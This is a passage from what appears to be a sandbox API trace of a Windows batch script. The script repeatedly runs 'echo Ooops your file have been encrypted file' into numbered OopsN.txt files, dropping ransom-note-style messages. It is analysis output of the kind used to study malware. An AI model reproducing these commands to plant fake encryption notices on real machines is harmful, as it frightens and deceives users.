lDistanceToMove=7697, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e11 [0039.575] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops13.txt\r\n") returned 59 [0039.575] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.575] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1e11 [0039.575] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.575] GetFileType (hFile=0x74) returned 0x1 [0039.575] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1e11 [0039.575] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.575] SetFilePointer (in: hFile=0x74, lDistanceToMove=7756, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e4c [0039.575] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops14.txt\r\n") returned 59 [0039.575] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.575] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1e4c [0039.575] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.575] GetFileType (hFile=0x74) returned 0x1 [0039.575] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1e4c [0039.575] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.575] SetFilePointer (in: hFile=0x74, lDistanceToMove=7815, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e87 [0039.575] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops15.txt\r\n") returned 59 [0039.576] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.576] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1e87 [0039.576] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.576] GetFileType (hFile=0x74) returned 0x1 [0039.576] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1e87 [0039.576] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.576] SetFilePointer (in: hFile=0x74, lDistanceToMove=7874, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1ec2 [0039.576] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops16.txt\r\n") returned 59 [0039.576] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.576] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ec2 [0039.576] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.576] GetFileType (hFile=0x74) returned 0x1 [0039.576] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ec2 [0039.576] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.576] SetFilePointer (in: hFile=0x74, lDistanceToMove=7933, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1efd [0039.576] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops17.txt\r\n") returned 59 [0039.576] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.576] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1efd [0039.577] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.577] GetFileType (hFile=0x74) returned 0x1 [0039.577] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1efd [0039.577] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.577] SetFilePointer (in: hFile=0x74, lDistanceToMove=7992, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1f38 [0039.577] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops18.txt\r\n") returned 59 [0039.577] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.577] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1f38 [0039.577] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.577] GetFileType (hFile=0x74) returned 0x1 [0039.577] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1f38 [0039.577] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.577] SetFilePointer (in: hFile=0x74, lDistanceToMove=8051, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1f73 [0039.577] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops19.txt\r\n") returned 59 [0039.577] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.577] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1f73 [0039.577] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.578] GetFileType (hFile=0x74) returned 0x1 [0039.578] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1f73 [0039.578] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.578] SetFilePointer (in: hFile=0x74, lDistanceToMove=8110, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1fae [0039.578] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops20.txt\r\n") returned 59 [0039.578] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.578] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1fae [0039.578] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.578] GetFileType (hFile=0x74) returned 0x1 [0039.578] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1fae [0039.578] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.578] SetFilePointer (in: hFile=0x74, lDistanceToMove=8169, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1fe9 [0039.578] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops21.txt\r\n") returned 59 [0039.578] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.578] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1fe9 [0039.578] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.578] GetFileType (hFile=0x74) returned 0x1 [0039.578] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1fe9 [0039.579] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.579] SetFilePointer (in: hFile=0x74, lDistanceToMove=8228, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2024 [0039.579] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops22.txt\r\n") returned 59 [0039.579] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.579] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2024 [0039.579] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.579] GetFileType (hFile=0x74) returned 0x1 [0039.579] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2024 [0039.579] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.579] SetFilePointer (in: hFile=0x74, lDistanceToMove=8287, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x205f [0039.579] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops23.txt\r\n") returned 59 [0039.579] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.579] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x205f [0039.579] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.579] GetFileType (hFile=0x74) returned 0x1 [0039.579] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x205f [0039.579] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.579] SetFilePointer (in: hFile=0x74, lDistanceToMove=8346, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x209a [0039.580] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops24.txt\r\n") returned 59 [0039.580] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.580] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x209a [0039.580] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.580] GetFileType (hFile=0x74) returned 0x1 [0039.580] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x209a [0039.580] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.580] SetFilePointer (in: hFile=0x74, lDistanceToMove=8405, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20d5 [0039.580] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops25.txt\r\n") returned 59 [0039.580] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.580] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x20d5 [0039.580] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.580] GetFileType (hFile=0x74) returned 0x1 [0039.580] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x20d5 [0039.580] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.580] SetFilePointer (in: hFile=0x74, lDistanceToMove=8464, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2110 [0039.581] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops26.txt\r\n") returned 59 [0039.581] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.581] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2110 [0039.581] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.581] GetFileType (hFile=0x74) returned 0x1 [0039.581] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2110 [0039.581] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.581] SetFilePointer (in: hFile=0x74, lDistanceToMove=8523, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x214b [0039.581] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops27.txt\r\n") returned 59 [0039.581] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.581] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x214b [0039.581] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.581] GetFileType (hFile=0x74) returned 0x1 [0039.581] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x214b [0039.581] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.581] SetFilePointer (in: hFile=0x74, lDistanceToMove=8582, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2186 [0039.582] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops28.txt\r\n") returned 59 [0039.582] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.582] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2186 [0039.582] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.582] GetFileType (hFile=0x74) returned 0x1 [0039.582] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2186 [0039.582] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.582] SetFilePointer (in: hFile=0x74, lDistanceToMove=8641, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x21c1 [0039.582] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops29.txt\r\n") returned 59 [0039.582] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.582] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x21c1 [0039.582] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.582] GetFileType (hFile=0x74) returned 0x1 [0039.582] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x21c1 [0039.582] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.582] SetFilePointer (in: hFile=0x74, lDistanceToMove=8700, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x21fc [0039.582] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops30.txt\r\n") returned 59 [0039.582] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.582] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x21fc [0039.583] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.583] GetFileType (hFile=0x74) returned 0x1 [0039.583] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x21fc [0039.583] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.583] SetFilePointer (in: hFile=0x74, lDistanceToMove=8759, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2237 [0039.584] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops31.txt\r\n") returned 59 [0039.584] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.584] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2237 [0039.584] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.584] GetFileType (hFile=0x74) returned 0x1 [0039.584] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2237 [0039.584] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.584] SetFilePointer (in: hFile=0x74, lDistanceToMove=8818, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2272 [0039.585] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops32.txt\r\n") returned 59 [0039.585] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.585] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2272 [0039.585] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.585] GetFileType (hFile=0x74) returned 0x1 [0039.585] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2272 [0039.585] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.585] SetFilePointer (in: hFile=0x74, lDistanceToMove=8877, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x22ad [0039.585] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops33.txt\r\n") returned 59 [0039.585] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.585] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x22ad [0039.585] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.585] GetFileType (hFile=0x74) returned 0x1 [0039.585] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x22ad [0039.585] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.585] SetFilePointer (in: hFile=0x74, lDistanceToMove=8936, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x22e8 [0039.585] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops34.txt\r\n") returned 59 [0039.585] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.586] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x22e8 [0039.586] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.586] GetFileType (hFile=0x74) returned 0x1 [0039.586] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x22e8 [0039.586] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.586] SetFilePointer (in: hFile=0x74, lDistanceToMove=8995, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2323 [0039.586] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops35.txt\r\n") returned 59 [0039.586] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.586] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2323 [0039.586] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.586] GetFileType (hFile=0x74) returned 0x1 [0039.586] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2323 [0039.586] ReadFile (in: hFile=0x74, 